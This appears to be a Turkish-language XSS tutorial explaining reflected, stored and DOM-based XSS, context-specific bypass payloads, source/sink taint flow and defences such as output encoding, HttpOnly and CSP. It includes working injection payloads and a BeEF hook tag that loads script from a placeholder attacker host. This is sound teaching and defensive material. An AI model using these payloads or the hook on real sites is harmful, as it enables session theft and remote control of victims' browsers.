XSS (Cross-Site Script) Nedir?

XSS, kullanıcı tarafından kontrol edilebilen verinin uygun şekilde filtrelenmeden tarayıcıda JavaScript kodu olarak çalıştırılmasıdır.

XSS genellikle sunucudan dönen yanıt gövdesinde ortaya çıkar. Saldırgan tarafından gönderilen zararlı veri, sunucu tarafından filtrelenmeden HTML çıktısına dahil edilirse, tarayıcı bu içeriği işlerken JavaScript kodu çalıştırır. Ancak DOM-Based XSS’te bu süreç tamamen tarayıcı içinde gerçekleşebilir ve veri sunucuya hiç gitmeyebilir.

Tarayıcı, sunucudan gelen yanıtın içindeki HTML, CSS ve JavaScript kodlarını çalıştırır. Bir tarayıcının gövdesinde (body) genel olarak şu yapılar bulunur:

  • HTML: Sayfa düzenini oluşturur (başlık, paragraf, buton vb.). Komut çalıştırmaz, sadece içeriği görüntüler ve dışarı veri gönderemez.

  • CSS: Sayfaya stil verir (renk, font, arka plan vb.). Tarayıcıda komut çalıştırmaz.

  • JavaScript: Tarayıcıda aktif kod çalıştırır, çerezleri (cookie) okuyabilir ve dış dünya ile etkileşime geçebilir.

Saldırganın hareket noktası ve asıl hedefi JavaScript‘tir.


XSS Nasıl Tetiklenir?

XSS, kullanıcıdan gelen verinin güvenli şekilde filtrelenmeden veya encode edilmeden HTML veya JavaScript içine yerleştirilmesiyle tetiklenir. Yani bir kullanıcı veya saldırganın girdiği veri, sunucu veya istemci tarafında gerekli kontrollerden geçmezse, tarayıcı bu veriyi çalıştırabilir ve zararlı kod aktif hale gelir.

Normal input:

HTML
<div id=“content”> <h2 id=‘pageName’>searched for: Halil</h2></div>

XSS:

HTML

<div id=“content”> <h2 id=‘pageName’>searched for: <script>alert(“Halil”)</script></h2></div>


DOM (Document Object Model)

HTML dokümanları içerisinde bulunan nesnelere erişim sağlamak ve bu nesneler üzerinde işlem yapabilmek için tasarlanan modele DOM denir.

Bir web sayfası istendiğinde, sunucu tarayıcıya bir Response Body (yanıt gövdesi) gönderir. Tarayıcıda “Sayfa Kaynağını Görüntüle” (CTRL + U) dendiğinde karşımıza çıkan çıktı, sunucudan gelen bu ham koddur.

Tarayıcı bu ham kodu baştan aşağı okur; içerisindeki CSS’i işler, JavaScript’leri çalıştırır ve bu kodları etkileşimli bir ağaç yapısına dönüştürür. İşte bu canlı yapı DOM’dur. Bizim tarayıcıda asıl gördüğümüz ve etkileşime girdiğimiz nihai yapı sunucudan gelen ham kod değil, tarayıcının oluşturduğu bu DOM yapısıdır.


XSS ile neler yapılabilir?

XSS saldırılarında asıl hedef sunucu değil, doğrudan client (yani kullanıcı ve tarayıcıdır). Bir web sayfasında XSS zafiyeti tespit etmek için genellikle basit bir alert (popup) oluşturulur; bu, zararlı kodun tarayıcıda başarıyla çalıştırılabildiğini kanıtlamanın en hızlı yoludur.

Bu zafiyet tetiklendiğinde saldırganlar şu işlemleri gerçekleştirebilir:

  • Cookie ve Session Bilgilerine Erişim: Kullanıcının oturum bilgilerini çalarak hesabı ele geçirebilir.

  • Yetkisiz İşlemler: Kullanıcı adına isteği dışında işlemler yapabilir (CSRF benzeri etkiler).

  • Oltalama (Phishing): Sayfa içeriğini değiştirerek kullanıcıyı sahte formlara veya sitelere yönlendirebilir.

  • Bilgi Takibi: Keylogger benzeri yapılarla kullanıcının klavye hareketlerini ve şifrelerini izleyebilir.


Beef:

BeEF, Ruby diliyle yazılmış, tarayıcı odaklı bir XSS exploitation framework’üdür. Web tarayıcılarında bulunan XSS açığını kullanarak kullanıcıyı “hook”lamak (kurbanın tarayıcısına zararsız gibi görünen bir JavaScript kodu enjekte etmek) ve ardından o tarayıcıyı uzaktan kontrol etmek için kullanılır.

Saldırgan, hedef adrese veya zafiyet bulunan alana aşağıdaki gibi bir payload enjekte ederek çalıştırır:

<script src=”http://YOUR_IP:3000/hook.js”></script>

 

XSS’in 3 Temel Türü

XSS saldırıları, zararlı kodun tarayıcıya ulaşma yoluna göre üç ana kategoriye ayrılır:

Reflected XSS: Kullanıcıdan gelen zararlı veri, sunucu tarafından kaydedilmeden anında yanıta (response) yansıtılır. Genellikle phishing veya sosyal mühendislik içeren bağlantılar (URL parametreleri) üzerinden gerçekleştirilir.

Stored XSS: Genellikle en etkili ve en tehlikeli XSS türü olarak kabul edilir. Zararlı kod sunucuda (veritabanı, yorumlar, profil bilgileri vb.) kalıcı olarak saklanır. Sayfayı ziyaret eden her kullanıcı bu koddan etkilenir.

DOM-Based XSS: Saldırı tamamen istemci tarafında (client-side) gerçekleşir. Zararlı veri çoğu zaman sunucuya hiç gitmeden tarayıcı içinde işlenir ve genellikle “location, document.URL” veya “document.referrer” gibi kaynaklardan elde edilir; doğrudan tarayıcıdaki JavaScript kodunun hatasından kaynaklanır.

Not: Self-XSS teknik zafiyetten ziyade sosyal mühendisliktir. Saldırgan, kullanıcıyı ikna ederek zararlı kodu tarayıcı konsolunda bizzat kendisine çalıştırtır.

 

XSS Contexts ve Bypass Teknikleri

Saldırının başarılı olması için verinin hangi bağlamda (context) yansıdığını anlamak gerekir:


1. HTML Etiketleri Arasında XSS

Veri <div>…</div> veya <p>…</p> arasına düşüyorsa, yeni bir etiket açmak gerekir.

Klasik: <script>alert(1)</script>

Alternatif (SVG): <svg onload=”alert(‘xss’)”>

Özel Etiketler: Tüm standart taglar engellendiyse; <my-tag onfocus=’alert(1)’ id=’x’ tabindex=’1′> gibi özel tanımlamalar denenebilir.


2. HTML Attribute (Öznitelik) İçinde XSS

Veri <input value=”VERİ”> içine düşüyorsa, önce tırnakla mevcut alandan çıkmak gerekir:

Örnek: ” autofocus onfocus=alert(1) x=”

JavaScript Protokolü: href gibi özelliklerde tırnaktan çıkmadan da tetiklenebilir: <a href=”javascript:alert(1)”>Tıkla</a>


3. JavaScript İçinde XSS (String’den Çıkmak)

Veri bir JavaScript değişkeni içerisinde kullanılıyorsa (örneğin var name = ‘veri’;), saldırganın amacı string literal’dan çıkarak kendi JavaScript kodunu enjekte etmektir.

Bu genellikle mevcut string’i kapatıp ardından JavaScript kodu ekleyerek yapılır.

‘;alert(1);//

‘);alert(1);//

Eğer kaçış karakterleri (escape) varsa: \\’;alert(1)//

 

DOM-Based XSS: Source ve Sink Kavramı

Source (Giriş Kapısı): Kullanıcı tarafından kontrol edilebilen verinin JavaScript tarafından alındığı noktalardır (location, document.URL, document.referrer).

  • Örnek: location.hash (URL’deki # işaretinden sonrası).

  • Saldırgan burayı kontrol edebilir. URL’nin sonuna istediği kodu yazıp sana link olarak atabilir.

Sink (İcra Noktası): JavaScript’in, aldığı o veriyi alıp sayfaya işlediği veya çalıştırdığı tehlikeli fonksiyondur.

  • Örnek: “document.write()” veya “element.innerHTML”.

  • Bu fonksiyonlar kendilerine verilen veriyi güvenli şekilde işlemez ve HTML/JavaScript olarak yorumlayarak çalıştırabilir.

Taint-Flow (Tehlikeli Akış): Verinin Source‘dan girip, hiçbir temizlikten (filtrelemeden) geçmeden doğrudan Sink‘e ulaşmasıdır.

Aşağıdaki 2 satırlık JavaScript kodunda bir DOM-Based XSS zafiyeti vardır:

JavaScript

// 1. ADIM (SOURCE): URL’deki ‘#’ kısmından veriyi al.
var veri = location.hash;
// 2. ADIM (SINK): Alınan bu veriyi sayfanın içine yaz.
document.getElementById(“mesaj”).innerHTML = veri;

Saldırgan sana şu linki atar: site.com/#<img src=x onerror=alert(1)>

Tarayıcın bu sayfayı açtığında, JavaScript kodu # işaretinden sonrasını (<img src…) alır.

Ardından bu kodu innerHTML kullanarak sayfaya basar.

Tarayıcı bu HTML kodunu işlerken alert(1) komutunu çalıştırır.

Reflected ve Stored XSS’te saldırı kodu bir input alanı (arama kutusu, form vb.) üzerinden sunucuya gönderilir. Ancak DOM-Based XSS’te durum farklıdır:

Bu saldırıda genellikle sunucuya hiç gitmeyen alanlar kullanılır. En yaygın olanı URL’deki # (Fragment) işaretinden sonrasıdır. Bu veri sadece tarayıcının kendi içinde kalır. Bu nedenle bu tür saldırılar sunucu loglarında genellikle görünmez veya tespit edilmesi daha zor olabilir.

 

XSS Nasıl Engellenir?

XSS zafiyetlerinin büyük çoğunluğu, context’e uygun output encoding yapılmamasından kaynaklanır. Bu nedenle güvenlik iki temel kurala dayanır: Input Validation (Girdi Doğrulama) ve Output Encoding (Çıktı Kodlama).

  • Output Encoding: Veriyi ekrana yazdırırken bağlama uygun şekilde encode edin (HTML Entity Encoding gibi). Ancak veriyi veritabanına kaydederken encode etmek veriyi bozabilir; en iyisi gösterim anında (context-based) kodlamadır.

  • HttpOnly Flag: Cookie’lerin JavaScript tarafından okunmasını engeller.

  • CSP (Content Security Policy): Hangi kaynaklardan script yüklenebileceğini belirler.

  • Print() Alternatifi: Chrome 92+ sürümüyle iframe’lerde alert() engellendiği için PoC çalışmalarında print() kullanılması önerilir.